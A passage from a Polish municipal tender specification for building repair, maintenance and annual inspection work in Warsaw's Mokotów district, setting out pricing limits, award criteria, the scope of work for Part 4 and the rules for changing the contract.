narzutu kosztów zakupu materiałów (Wkz) - dla robót nie uwzględnionych w kosztorysie ofertowym Wykonawcy - nie może być wyższy niż średni warszawski określony w wyd. "SEKOCENBUD" BCR z II kwartału 2019 r. tj. dla robót budowlanych i wynoszący Wkz = 4,4 %. Wykonawca musi wpisać oferowane Wkz w formularzu oferty, sporządzonym wg wzoru formularza oferty częściowej.3.10.	Zaoferowana przez Wykonawcę cena (bez VAT) za dokonywane co 12 miesięcy całoroczne przeglądy każdego z budynków gminnych w 2020 r. zarządzanych i administrowanych przez ZGN w przeliczeniu na 1m3 kubatury budynku za jeden przegląd nie może przekraczać 0,10 złotego (bez VAT), przy czym cena za jeden przegląd każdego pojedynczego budynku nie może być niższa niż 1 zł ( bez VAT). Wykonawca musi wpisać ceny w kol. 11 wykazów budynków gminnych, zarządzanych i administrowanych przez ZGN, stanowiących Rozdział IV A SIWZ, nie wyższe niż 0,10 zł/m3 (bez VAT) kubatury budynku za przegląd każdego budynku gminnego zarządzanych i administrowanych przez ZGN, przy czym cena za jeden przegląd każdego pojedynczego ww. budynku nie może być niższa niż 1zł ( bez VAT). Suma wszystkich cen wymienionych w kolumnie 11 pod nazwą ,,Cena za przegląd każdego budynku wyszczególnionego w kol. 2 wg terminów wyszczególnionych w kol. 12" musi być umieszczona we wzorze formularza oferty częściowej w pkt. 1 c jako ,,suma cen (bez VAT) za dokonywane co 12 miesięcy całoroczne przeglądy, dla wszystkich budynków gminnych zarządzanych i administrowanych przez ZGN w 2020 r. w DOM (dla którego składana jest oferta częściowa). Ponadto w w/w pkt. 1 c należy wpisać kwotę podatku VAT oraz sumę cen (z VAT) za dokonywane co 12 miesięcy całoroczne przeglądy [P] budynków gminnych w 2020 r. zarządzanych i administrowanych przez ZGN w DOM, dla którego składana jest oferta częściowa. W 2019 r nie będzie przeglądów.3.11.	Dla realizacji przedmiotu zamówienia, na czas obowiązywania umowy, która zostanie zawarta w wyniku rozstrzygnięcia przedmiotowego postępowania, istnieje możliwość wynajęcia od zamawiającego pomieszczeń na zaplecze techniczne po stawkach strefowych na zasadach przyjętych przez m. st. Warszawę ZGN w Dzielnicy Mokotów. 3.11.1. Część 1: brak pomieszczeń.3.11.2. Część 2 : brak pomieszczeń.3.11.3. część 3 - brak pomieszczeń 3.11.4. Część 4 : dla DOM ,,Madalińskiego" : ul. Wiśniowej 35 wiata w podwórku o pow. 47,26 m2, wyposażone w energię elektryczną,3.11.5. Część 5 : dla DOM ,,Konduktorska": pomieszczenia wyposażone w instalację elektryczną przy ul. Konduktorskiej 12, - wiata blaszana nr 1 o pow. 24,89 m2, - wiata blaszana nr 2 o pow. 19,89 m2, - wiata blaszana nr 5 o pow. 11,04 m2, - wiata blaszana nr 6 o pow. 15,45 m2 - wiata blaszana nr 7 o pow. 15,40 m2,- pomieszczenie piwniczne wyposażone w energię elektryczna o pow. 11,70 m2. 3.11.6. Część 6 : dla DOM ,,Polkowska":- pomieszczenie gospodarcze w piwnicy budynku biurowego DOM, pow. 15,68 m2, wyposażone w co i elektryczność, - wiata na podwórku wyposażona w elektryczność o pow. 100,28 m2 , - garaż na podwórku wyposażony w elektryczność o powierzchni 30,00 m2,możliwość korzystania z w.c. ogólnego w budynku biurowym DOM. Stawki czynszu dla wszystkich w/w lokali będą naliczone - wg obowiązujących w ZGN Mokotów na dzień podpisania umowy. 3.12. Wykonawca musi mieć zatrudnione na podstawie umowy o pracę, w rozumieniu przepisów ustawy z dnia 26 czerwca 1974 r. -Kodeks pracy (Dz. U. z 2019 r., poz. 9171040 z późn. zm.). osoby wykonujące wszystkie czynności będące przedmiotem zamówienia dotyczące wykonywania wszystkich robót remontowych zapewniających stałe utrzymanie w ruchu budynków oraz robót mających na celu utrzymanie sprawności technicznej elementów budynków, wyszczególnione w opisie przedmiotu zamówienia w pkt. 3.1. SIWZ, z wyjątkiem przypadków prawem wyłączonych. Obowiązek zatrudnienia na podstawie w/w umowy o pracę nie dotyczy osób, które będą pełniły funkcję kierownika/kierowników robót objętych zamówieniem oraz będą wykonywały przeglądy roczne budynków, które mogą być zatrudnione przez Wykonawcę w ramach stosunków prawnych dopuszczonych przez prawo. Obowiązek, o którym mowa w zdaniu pierwszym, dotyczy również podwykonawców realizujących zamówienie, na zasoby których Wykonawca się powołuje oraz innych podmiotów uczestniczących w wykonaniu zamówienia, na zasoby których Wykonawca się powołuje.3.13. W odniesieniu do wykonywania robót budowlanych wymagających ustanowienia kierownika robót oraz do wykonywaniu przeglądów budowlanych rocznych objętych zamówieniem Wykonawca zobowiązany jest zapewnić do nadzorowania robót budowlanych i wykonania przeglądów osobę posiadającą uprawnienia budowlane wymagane ustawą prawo budowlane, - do kierowania robotami, a w przypadku przeglądów dodatkowo do kontrolowania i oceny stanu technicznego elementów konstrukcyjnych w specjalności konstrukcyjno-budowlanej w zakresie niezbędnym do realizacji przedmiotu zamówienia lub odpowiedni dokument stwierdzający przygotowanie zawodowe do wykonywania powyższych czynności oraz wpis na listę członków właściwej izby samorządu zawodowego. 3.14 . Zamawiający przewiduje możliwość udzielenia zamówień podobnych, o których mowa w art. 67 ust. 1 pkt. 6 ustawy w przypadku włączenia do robót wchodzących w zakres przedmiotu zamówienia budynków nowo oddanych do administrowania ZGN lub nie ujętych w zestawieniu stanowiącym załącznik Rozdział IVA, IVB, IVC SIWZ - Wykaz budynków, itp. oraz w przypadku powtórzenia podobnych robót, w budynkach o których mowa w zdaniu poprzednim oraz w przypadku konieczności wykonania zamówień podobnych we wszystkich budynkach objętych zamówieniem, w okresie 3 lat od udzielenia zamówienia podstawowego. Wartość w/w powtórzonych podobnych robót nie przekroczy 50 % wartości zamówienia podstawowego tj. kwoty 510.000,00 z VAT. Zamawiający dokonywać będzie podziału w/w kwoty pomiędzy działy obsługi mieszkańców (DOM) wg. potrzeb i posiadanych środków.Warunki udzielenia zamówień podobnych: Wykonawca będzie wykonywał zamówienie należycie i bez zbędnej zwłoki, w standardach nie gorszych niż w umowie podstawowej, na warunkach umowy podstawowej. Ceny będą podlegały negocjacji.4.Każda cena (stawka) z VAT podana w ofercie uwzględniać musi podatek VAT wg stawki obowiązującej w dacie składania oferty. <br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>45000000-7, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: 166666,66<br/>Waluta: <br/>zł<br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: <br/>okres w dniach: <br/>data rozpoczęcia: 2019-12-01<br/>data zakończenia: 2020-11-30<br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena- stawka roboczogodziny kosztorysowej Rbrutto = [(Rnetto+Kp+Z)] z VAT </td><td style="border: 1px solid black;border-collapse: collapse;">15,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena - dodatek za drobne naprawy (D) z VAT </td><td style="border: 1px solid black;border-collapse: collapse;">15,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">wydłużenie okresu udzielonej gwarancji powyżej 36 miesięcy </td><td style="border: 1px solid black;border-collapse: collapse;">20,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">czas przystąpienia do usunięcia zgłoszonej awarii </td><td style="border: 1px solid black;border-collapse: collapse;">20,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena (z VAT) za wykonanie zamówienia w/g kosztorysu Ofertowego Wykonawcy sporządzonego na postawie ramowego przedmiaru robót </td><td style="border: 1px solid black;border-collapse: collapse;">30,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b><br/><br/><br/><table><tr><td><b>Część nr: </b></td><td>4</td><td><b>Nazwa: </b></td><td>Madalińskiego</td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Wykonawca zobowiązany będzie do wykonywania robót mających na celu utrzymanie sprawności technicznej elementów budynków i obiektów znajdujących się na terenach administrowanych przez ZGN, w zakres których wchodzą w szczególności roboty polegające na wykonaniu:1. robót wyszczególnionych w ,,ramowym" przedmiarze robót stanowiącym załącznik do SIWZ (Rozdział VI siwz) w szczególności:1.1. roboty posadzkarskie i okładzinowe ścian:?	skucie posadzki ceramicznej, ?	zerwanie posadzek z PCV, ?	przybicie płyt twardych pod posadzki, ?	wykonanie warstw wyrównawczych,?	naprawa posadzek cementowych i drewnianych, ? ułożenie posadzek z tworzywa sztucznego, montaż progów przejściowych, ?	montaż listew przyściennych drewnianych. ? cyklinowanie posadzek z deszczułek drewnianych,? szlifowanie posadzek z lastryko,?	demontaż boazerii, paneli ściennych itp.,?	demontaż złomowy sufitów podwieszanych,?	rozebranie posadzek z deszczułek z oderwaniem listew lub cokołów,?	skucie lepiku, subitu lub kleju trwale związanego z podkładem betonowym po rozebraniu posadzki z deszczułek,1.2. roboty murarskie: ? wykucie z muru kratek wentylacyjnych, ościeżnic drewnianych i metalowych, podokienników drewnianych i z lastryko, ? zamurowanie przebić w ścianach, ? obsadzenie kratek wentylacyjnych oraz ościeżnic stalowych, 1.3. roboty stolarskie: ? demontaż szaf wbudowanych, ?	demontaż ścianki drewnianej,?	wykonanie ścianki z płyty gipsowych + montaż ościeżnicy stalowej, ?	montaż okuć stolarskich, zasuwki, wkładka Yale itp.,? montaż nawiewnika w stolarce okiennej, ? montaż szafki pod zlewozmywak, ? regulacja stolarki okiennej, drzwiowej,?	rozszklenie i szklenie otworów okiennych lub drzwiowych,1.4. roboty malarskie emulsyjne i olejne: ? malowanie używanych ościeżnic stalowych, rur oraz grzejników farba olejną, ? jednokrotne malowanie podokienników, ? przygotowanie powierzchni ścian pod malowanie olejne i emulsyjne oraz sufitów pod emulsyjne, ? jednokrotne malowanie ścian farbami olejnymi z jednokrotnym szpachlowaniem, ? dwukrotne malowanie farbą emulsyjną sufitów i ścian po uprzednim zeskrobaniu starej farby i zagruntowaniu, ?	Ługowanie farby olejnej z tynków1.5. roboty tynkarskie?	odbicie tynków wewnętrznych z zaprawy cementowo-wapiennej na ścianach i sufitach,?	naprawa pęknięć tynku na ścianach i sufitach,?	tynki wewnętrzne zwykłe kat. III wykonywane ręcznie na ścianach i sufitach,?	tynki wewnętrzne pocienione,?	skasowanie wykwitów (zacieków),?	przecieranie istniejących tynków wewnętrznych z zeskrobaniem farby lub zdzieraniem tapet na ścianach,1.6. roboty towarzyszące:? wywiezienie materiałów z rozbiórki, ? mycie stolarki okiennej oraz parapetów,? zabezpieczenie podłóg folią, 1.7. roboty zewnętrzne :-	drobne naprawy nawierzchni drogowych,-	zasypywanie dołów i dziur po gryzoniach,-	malowanie pasów , miejsc postojowych i znaków poziomych,-	naprawa pokryć dachowych,-	naprawa elementów obiektów związanych z budynkiem i terenem, -naprawa elementów zewnętrznych budynków gminnych takich jak: rynny, okapy, tynki, opaski, zamalowywani graffiti.2. robót zapewniających stałe utrzymanie w ruchu budynków gminnych oraz lokali gminnych znajdujących się w tych budynkach zarządzanych i administrowanych przez Zakład Gospodarowania Nieruchomościami w Dzielnicy Mokotów oraz lokali gminnych, znajdujących się w budynkach wspólnotowych będących i nie będących w administracji Zakładu Gospodarowania Nieruchomościami w Dzielnicy Mokotów i budynków/lokali oświaty DOM Służewiec, DOM Wierzbno", DOM Wiśniowa , DOM Madalińskiego, DOM Konduktorska, DOM Polkowska w tym:2.1. przeprowadzanie w budynkach gminnych zarządzanych i administrowanych przez ZGN w Dzielnicy Mokotów, których wykazy zawiera Rozdział IVA SIWZ, okresowych kontroli (raz w roku i sporządzania protokołów, wg art. 62 ust. 1 ustawy z dnia 7 lipca 1994 r. Prawa budowlane (tj. Dz. U. z 2019 poz. 1186 ze zm. - dalej: ustawa Prawo budowlane) polegających na sprawdzeniu stanu technicznego budynków, a w szczególności dokonywania przeglądów konstrukcji i pokrycia dachów, loggii, balkonów (w tym zanieczyszczeń ), attyk, kominów, balustrad, rynien, oszkleń, stolarki od zewnątrz, itp. elementów narażonych na niszczące wpływy atmosferyczne i niszczące działania czynników występujących podczas użytkowania, których uszkodzenia mogą powodować zagrożenie dla bezpieczeństwa osób, środowiska i konstrukcji budynku Szczegółowym sprawdzeniu należy objąć stan techniczny zewnętrznych warstw przegród zewnętrznych (warstwa fakturowa), elementów ścian zewnętrznych (attyki, filary, gzymsy), balustrad, loggii i balkonów, urządzeń zamocowanych do ścian i dachu, elementów odwodnienia budynku oraz obróbek blacharskich, pokryć dachowych, urządzeń stanowiących zabezpieczenie przeciwpożarowe budynku, elementów instalacji kanalizacyjnej odprowadzających ścieki z budynku, przejść przyłączy instalacyjnych przez ściany budynku oraz wszystkie pozostałe widoczne elementy budynku, a także estetykę budynku i jego otoczenia. W budynkach, w których w danym roku przeprowadzono przegląd 5-cio letni, nie wykonuje się przeglądów rocznych.2.2. całodobowe usuwanie awarii budowlanych i ich skutków wraz z robotami poawaryjnymi, zabezpieczanie doraźne obiektów miasta, gdy grożą awarią (z wyłączeniem instalacji) lub stwarzają zagrożenie życia i mienia,2.2.a Zamawiający wymaga aby Wykonawca przystąpił do usuwania awarii w ciągu 3-ch godzin od otrzymania telefonicznego zgłoszenia o zaistniałej awarii. Skrócenie ,,czasu przystąpienia do usunięcia zgłoszonej awarii" punktowane będzie zgodnie z zapisem pkt. 19 siwz.3. wykonywanie remontów, tj. wykonywanie robót naprawczych wynikających z przeprowadzonych kontroli oraz wykonywanie innych robót naprawczych zgłoszonych przez DOM zarówno w odniesieniu do budynków i lokali gminnych zarządzanych i administrowanych przez ZGN oraz lokali gminnych w budynkach Wspólnot Mieszkaniowych i budynków/lokali oświaty o ile roboty w nich zostaną zlecone przez Zamawiającego, jak i urządzeń terenowych związanych z budynkami, jak mury oporowe, schody, zjazdy do garaży podziemnych, opaski budynków, śmietniki, ogrodzenia, bramy itp. oraz elementów małej architektury i budowli związanych użytkowo z tymi budynkami oraz wykonywanie drobnych napraw dróg i chodników, montaż i demontaż znaków pionowych, słupków oraz malowanie znaków poziomych.4. w budynkach miasta zarządzanych i administrowanych przez ZGN usuwanie nadmiernie nagromadzonego śniegu z dachów oraz zdejmowanie sopli lodowych i czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń oraz w przypadku zagrożeń lub awarii w lokalach gminnych w budynkach Wspólnot Mieszkaniowych,5. w budynkach miasta zarządzanych i administrowanych przez ZGN usuwanie zanieczyszczenia z przewodów dymowych, spalinowych i wentylacyjnych, zgłoszonych z DOM po podpisaniu umowy, 6. zgłaszanie do DOM zauważonych nieprawidłowości w zakresie stanu technicznego budynków miasta zarządzanych i administrowanych przez ZGN,7. roboty , o których mowa w pkt. 3.1.1. (3.1.1.1. do 3.1.1.7.) , 3.1.2, 3.1.3. , 3.1.4., 3.1.5., SIWZ wykonywane będą na odrębne pisemne zlecenia wydawane przez DOM (stosownie do jego potrzeb) ze szczegółowym określeniem zakresu robót i ich ilości zgodnie z protokołem typowania i przedmiarem robót i ewentualnie ślepym kosztorysem oraz z określeniem terminu ich wykonania (rozpoczęcia i zakończenia).8. Prawidłowe wykonanie robót, o których mowa w pkt. 3.1.1. (3.1.1.1. do 3.1.1.7.) , 3.1.2. (3.1.2.2.), 3.1.3., 3.1.4., 3.1.5., każdorazowo potwierdzane będzie protokołem odbioru końcowego przez inspektora nadzoru DOM. Wynagrodzenie za realizację robót, o których mowa w pkt. 3.1.1. (3.1.1.1. do 3.1.1.7.) , 3.1.2. (3.1.2.2.), 3.1.3., SIWZ wypłacane będzie Wykonawcy na podstawie faktur wystawionych w oparciu o zweryfikowane przez inspektora -DOM - kosztorysy zamienne lub powykonawcze sporządzane zgodnie z przedmiarem, ślepym kosztorysem, o ile zostanie wcześniej dostarczony przez Zamawiającego lub w oparciu o protokoły typowania, obmiary robót oraz wg cen z kosztorysu ofertowego Wykonawcy stanowiącego zał. nr 1 do oferty, a w przypadku braku tych cen na podstawie czynników cenotwórczych podanych przez Wykonawcę w ofercie -kosztorys ofertowy. Ilość roboczogodzin, materiałów i czas pracy sprzętu wyliczane będą w oparciu o kosztorys sporządzony na podstawie kosztorysu ślepego jeżeli był on dostarczony przez Zamawiającego lub w oparciu o jednostkowe nakłady określone w Normach Zakładowych ZGN w Dzielnicy Mokotów stanowiące Rozdział VII siwz oraz w katalogach nakładów rzeczowych (KNR) wydanych przez Ministra Gospodarki Przestrzennej i Budownictwa, a w przypadku braku odpowiednich nakładów rzeczowych w w/w katalogach dopuszcza się stosowanie KNR wydanych przez WACETOB. Jeżeli również w tym wydawnictwie brak jest w/w nakładów wykonywanych prac dopuszcza się stosowanie wycen indywidualnych, uwzględniających także rzeczywisty czas, każdorazowo zaakceptowanych przez inspektorów Zamawiającego i zatwierdzonych przez kierownika DOM. 8.1. Ceny każdego z materiałów - bez kosztów zakupu - w przypadku gdy dany materiał nie występuje kosztorysie ofertowym stanowiącym załącznik nr 1 do oferty Wykonawcy - rozliczane będą na podstawie przedłożonych przez Wykonawcę faktur. Ceny materiałów na podstawie przedłożonych przez Wykonawcę faktur nie mogą być wyższe niż 120% minimalnej ceny i jednocześnie nie wyższe niż najniższe ze średnich cen dla każdego asortymentu podawanych jako ceny materiałów z notowań w publikacjach SEKOCENBUD, IMB, IMI, IME, obowiązujące dla kwartału, w którym będą zlecane roboty. W przypadkach gdy dany materiał nie występuje w w/w publikacjach lub występuje jako cena producencka, dopuszcza się cenę na dany materiał po jej wcześniejszym uzgodnieniu z inspektorem nadzoru i uzyskaniu akceptacji Kierownika DOM w formie pisemnej. Uzyskanie przedmiotowej akceptacji ceny w formie pisemnej musi nastąpić przed zakupem i wbudowaniem niewystępującego w publikacjach materiału. Przed podjęciem decyzji o akceptacji ceny inspektor nadzoru oraz Kierownik DOM zobowiązani są do rozpoznania rynku i przyjęcia najkorzystniejszej oferty. Wyklucza się przyjmowanie cen w oparciu o dane katalogowe producentów.8.2. Ceny pracy sprzętu - w przypadku gdy dany sprzęt nie występuje kosztorysie ofertowym stanowiącym załącznik nr 1 do oferty Wykonawcy - rozliczane będą na podstawie przedłożonych przez Wykonawcę faktur wystawionych przez usługodawców lecz nie wyższe niż średnie ceny publikowane przez Sekocenbud ,,IRS" oraz zawarte w ,, informacji o cenach czynników produkcji RMS" w kwartale, w którym roboty były zlecane. W przypadkach gdy dany sprzęt nie występuje w w/w publikacjach, dopuszcza się cenę na dany sprzęt po jej wcześniejszym uzgodnieniu z inspektorem nadzoru i uzyskaniu akceptacji Kierownika DOM w formie pisemnej. Uzyskanie przedmiotowej akceptacji ceny w formie pisemnej musi nastąpić przed wynajęciem sprzętu niewystępującego w publikacjach materiału. Przed podjęciem decyzji o akceptacji ceny inspektor nadzoru oraz kierownik zobowiązani są do rozpoznania rynku i przyjęcia najkorzystniejszej oferty.8.3. Roboty polegające na usuwaniu awarii, o których mowa w pkt. 3.1.2. (3.1.2.2.) SIWZ rozliczane będą w sposób opisany powyżej z tym, że nie będzie wystawione wyprzedzająco zlecenie z protokołem typowania robot, a niezwłocznie po powzięciu wiadomości przez DOM o usunięciu awarii tworzony będzie protokół konieczności potwierdzający wykonanie prac usuwających awarię i zabezpieczenie obiektu. Zamawiający ma prawo żądać do wglądu faktur za materiały i sprzęt użyty przy wykonywaniu przedmiotu zamówienia. 8.4. Roboty polegające na wykonaniu drobnych napraw remontowych i konserwacyjnych oraz usunięciu drobnych awarii, o których mowa w pkt. 3.1.2. , 3.1.3. SIWZ zawierających nie więcej niż cztery czynności ( za czynność należy rozumieć pozycje kosztorysowe) oraz wycenionych na kwotę nie wyższą niż 250 zł netto (np. wymiana zamka, zabezpieczenie okien i drzwi, asysta przy eksmisji itp.) rozliczane będą w sposób opisany powyżej z tym, że wykonawca będzie miał prawo doliczenia do nich kwoty dodatku (D) za drobne naprawy uwzględniającej wszelkie koszty organizacji robót m. innymi dojścia, zakupu materiałów, gotowości pracowników, której wartość poda w ofercie. UWAGA: Max. wartość dodatku za drobne naprawy (D) bez VAT nie może przekroczyć kwoty 100,00 zł. netto (bez VAT).9. Odśnieżanie dachów oraz zdejmowanie sopli lodowych i czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń, rozliczane będzie w sposób następujący:9.1.Odśnieżanie dachów i zdejmowanie sopli lodowych w zakresie pracy ludzi rozliczane będzie w oparciu o Normy Zakładowe ZGN stanowiące Rozdział VII SIWZ i będące jednocześnie załącznikiem nr 8 do umowy według stawek podanych przez Wykonawcę w formularzu oferty częściowej, a w zakresie dotyczącym sprzętu w oparciu o rzeczywisty czas pracy sprzętu każdorazowo potwierdzony przez inspektora nadzoru.9.2.Czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń rozliczane będzie w oparciu o rzeczywisty czas pracy ludzi i sprzętu, każdorazowo potwierdzony przez inspektora nadzoru, według stawek podanych przez Wykonawcę w formularzu oferty częściowej. 9.3.Ceny pracy sprzętu przy zdejmowaniu sopli lodowych i czyszczeniu rynien i rewizji rur deszczowych z zanieczyszczeń rozliczane będą na podstawie przedłożonych przez Wykonawcę faktur wystawionych przez usługodawców, lecz nie wyższe niż średnie ceny publikowane przez Sekocenbud ,,IRS" oraz zawarte w ,, informacji o cenach czynników produkcji RMS" w kwartale, w którym usługi będą zlecane. W przypadkach gdy dany sprzęt nie występuje w w/w publikacjach, dopuszcza się cenę na dany sprzęt po jej wcześniejszym uzgodnieniu z inspektorem nadzoru i uzyskaniu akceptacji Kierownika DOM w formie pisemnej. Uzyskanie przedmiotowej akceptacji ceny w formie pisemnej musi nastąpić przed wynajęciem sprzętu niewystępującego w publikacjach materiału. Przed podjęciem decyzji o akceptacji ceny inspektor nadzoru oraz kierownik zobowiązani są do rozpoznania rynku i przyjęcia najkorzystniejszej oferty. Za odśnieżanie dachów oraz zdejmowanie sopli lodowych i czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń Wykonawca będzie wystawiał odrębne faktury.10. Ewentualne usuwanie zanieczyszczeń z przewodów dymowych, spalinowych i wentylacyjnych, na zlecenie z DOM, rozliczane będzie w oparciu o podaną w formularzu oferty częściowej stawką roboczogodziny zgodnie z uwzględnieniem rzeczywistego czasu pracy ludzi. Za prace wymienione w zdaniu poprzednim Wykonawca będzie wystawiał odrębne faktury.11. Przeprowadzanie w budynkach gminnych zarządzanych i administrowanych przez ZGN w Dzielnicy Mokotów, których wykazy budynków zawiera Rozdział IV SIWZ, okresowych kontroli rozliczane będzie na podstawie cen zaoferowanych przez Wykonawcę w wykazie budynków gminnych zarządzanych i administrowanych przez ZGN, stanowiącego Rozdział IV A siwz i ilości skontrolowanych budynków.12. Zamawiający zastrzega, że:12.1. na wykonywanie czynności o których mowa w pkt. 3.1.1. , siwz przeznaczy kwotę z podatkiem VAT wynikającą z przedstawionego przez wybranego Wykonawcę kosztorysu ofertowego, sporządzonego na postawie przedmiaru robót stanowiącego Rozdział VI SIWZ,12.2. na wykonywanie czynności o których mowa w pkt. 3.1.2.; 3.1.2.2., 3.1.3. , 3.1.4. i 3.1.5. siwz przeznacza kwoty z podatkiem VAT nie większe niż:12.2.1. dla części I: DOM Służewiec - kwota 24.000,00 zł z VAT, 12.2.2. dla części II: DOM Wierzbno - kwota 26.204,82 zł z VAT12.3. na wykonywanie czynności o których mowa w pkt. 3.1.2.1. , siwz przeznaczy kwotę z podatkiem VAT wynikającą z przedstawionego przez wybranego Wykonawcę wykazu budynków wraz z cenami za kontrolę.13.Zamawiający nie przewiduje udzielania zaliczek na poczet wykonania zamówienia3.3. Wykazy budynków gminnych oraz budynków Wspólnot Mieszkaniowych z lokalami gminnymi i budynków/lokali oświaty w których realizowane będą zamówienia stanowią Rozdział IV SIWZ. Wykazy budynków, o których mowa wyżej mogą ulec zmianie w zakresie wskazanych adresów budynków poprzez jednostronną czynność Zamawiającego. 3.4. Szczegółowy zakres obowiązków Wykonawcy zawarty jest w § 1, 3, 4 i 5 Istotnych postanowień umowy, które stanowią Rozdział III SIWZ.3.5.1. Czynności, o których mowa w pkt. 3.1. niniejszej specyfikacji, mają być wykonywane zgodnie z: 3.5.1.1. Dokumentacją techniczną w formie ,,ramowego" przedmiaru robót, która stanowi Rozdział VI specyfikacji istotnych warunków zamówienia, specyfikacją techniczną wykonania i odbioru robót - stanowiącą Rozdział V SIWZ,.3.5.1.2.	warunkami wynikającymi z przepisów technicznych i czynnościami wymienionymi w art. 22 Ustawy z dnia 07.07.1994 r. Prawo budowlane (tekst jednolity Dz. U. z 2018 r. poz.1202, ze zmianami) i jej przepisów wykonawczych,3.5.1.3. wymaganiami wynikającymi z aktualnych Polskich lub Europejskich Norm i aprobat technicznych, 3.5.1.4. zasadami rzetelnej wiedzy technicznej i sztuki budowlanej, 3.5.1.5. warunkami wynikającymi z Istotnych postanowień umowy stanowiących Rozdział III specyfikacji istotnych warunków zamówienia.oraz3.5.1.6. w sposób zapewniający kulturalną obsługę najemcy.3.5.2. Materiały i produkty, które będą używane do realizacji zamówienia, powinny odpowiadać wymaganiom ujętym w art. 10 ustawy Prawo budowlane i w Ustawie o wyrobach budowlanych Dz. U. z 2019 r. poz.266) i posiadać certyfikat na znak bezpieczeństwa w odniesieniu do wyrobów podlegających tej certyfikacji. Dla pozostałych materiałów, z wyłączeniem wskazanych w rozporządzeniu MSWiA z dnia 24 lipca 1998 r. w sprawie określenia wykazu wyrobów nie mającego istotnego wpływu na spełnienie wymagań podstawowych oraz wyrobów wytwarzanych i stosowanych według uznanych zasad sztuki budowlanej (Dz. U. z 1998r., Nr 99, poz.637), posiadać deklarację zgodności z dokumentem odniesienia jakim jest Polska Norma, a w przypadku jej braku krajową aprobatą techniczną (AT) lub europejską aprobatą techniczną (ETA). Wykonawca na każde żądanie Zamawiającego zobowiązany będzie okazać w stosunku do wskazanych materiałów certyfikaty i deklaracje dopuszczające wyrób do obrotu i stosowania w budownictwie. Ponadto podczas wykonywania zamówienia Wykonawca na każde żądanie Zamawiającego zobowiązany będzie okazać w stosunku do wskazanych materiałów certyfikat na znak bezpieczeństwa, deklaracje zgodności lub certyfikat zgodności z Polską Normą lub z aktualną aprobatą techniczną. 3.6. Zmiany umowy:3.6.1. Zamawiający dopuszcza możliwość wprowadzenia zmian postanowień umowy, w stosunku do treści oferty, na podstawie, której dokonano wyboru Wykonawcy w razie:3.6.1.1.	dokonywania zmian przewidzianych w SIWZ w postaci jednoznacznych postanowień umownych, określających zakres zmian, w szczególności możliwość zmiany terminu wykonania, wynagrodzenia Wykonawcy i charakteru oraz warunków ich wprowadzenia i tak w przypadku:3.6.1.1.1.	zmiany regulacji prawnych wprowadzonych w życie po dacie zawarcia umowy i mających wpływ na treść umowy wraz ze skutkami takiej zmiany regulacji prawnych,3.6.1.1.2. powierzenia Podwykonawcy wykonania całości bądź części Przedmiotu zamówienia w zakresie i na warunkach wynikających z umowy między Wykonawcą a Podwykonawcą zaakceptowanej przez Zamawiającego lub zmiany Podwykonawcy w sytuacji, gdy z przyczyn, których nie można było przewidzieć w chwili zawarcia z nim umowy dotyczącej wykonywania Przedmiotu zamówienia, koniecznym będzie dla prawidłowego jego wykonania posłużenie się przez Wykonawcę nowym Podwykonawcą, który będzie realizował część lub cały zakres robót powierzony uprzednio innemu Podwykonawcy. Jeżeli zmiana albo rezygnacja z Podwykonawcy dotyczy podmiotu, na którego zasoby Wykonawca powoływał się, na zasadach określonych w art. 22a ustawy, w celu wykazania spełniania warunków udziału w postępowaniu, o których mowa w art. 22 a ust. 4 ustawy, Wykonawca jest obowiązany wykazać Zamawiającemu, iż proponowany inny Podwykonawca lub Wykonawca samodzielnie spełnia je w stopniu nie mniejszym niż wymagany w trakcie postępowania o udzielenie zamówienia i nie podlega wykluczeniu z postępowania;3.6.1.1.3. zmiany zakresu części Przedmiotu zamówienia powierzonego Podwykonawcom wynikającej z aneksów do umów zawartych przez Wykonawcę z Podwykonawcami i zaakceptowanych przez Zamawiającego w przypadku wykonywania Przedmiotu zamówienia z udziałem Podwykonawców.3.6.1.1.4.	zmiany osób uczestniczących w realizacji przedmiotu zamówienia, przy czym warunkiem dokonania takiej zamiany jest posiadanie przez nowo wskazane osoby wymaganych uprawnień, kwalifikacji i doświadczenia zgodnego z warunkami określonymi w tym zakresie w SIWZ;3.6.1.2. zaistnienia konieczności wykonania przez Wykonawcę robót dodatkowych, nieobjętych zamówieniem podstawowym (przedmiotem zamówienia), o ile stały się niezbędne, a ponadto spełnione są łącznie następujące warunki:3.6.1.2.1.zmiana Wykonawcy nie może zostać dokonana z powodów ekonomicznych lub technicznych, w szczególności dotyczących zamienności lub interoperacyjności sprzętu, robót lub instalacji zamówionych w ramach zamówienia podstawowego (przedmiotu zamówienia);3.6.1.2.2. zmiana Wykonawcy spowodowałaby istotną niedogodność lub znaczne zwiększenie kosztów dla Zamawiającego;3.6.1.2.3. wartość każdej kolejnej zmiany umowy nie przekroczy 50% wartości umowy,3.6.1.3. gdy zmiana umowy spowodowana jest okolicznościami, których Zamawiający działając z należytą starannością nie mógł przewidzieć i jednocześnie ich wartość nie przekracza 50% wartości przedmiotu zamówienia. 3.6.1.4.	gdy Wykonawcę ma zastąpić inny podmiot:3.6.1.4.1. na podstawie postanowień umownych, o których mowa w pkt. 3.6.1.1. SIWZ, 3.6.1.4.2. w wyniku połączenia, podziału, przekształcenia, upadłości, restrukturyzacji lub nabycia dotychczasowego Wykonawcy lub jego przedsiębiorstwa, o ile nowy podmiot 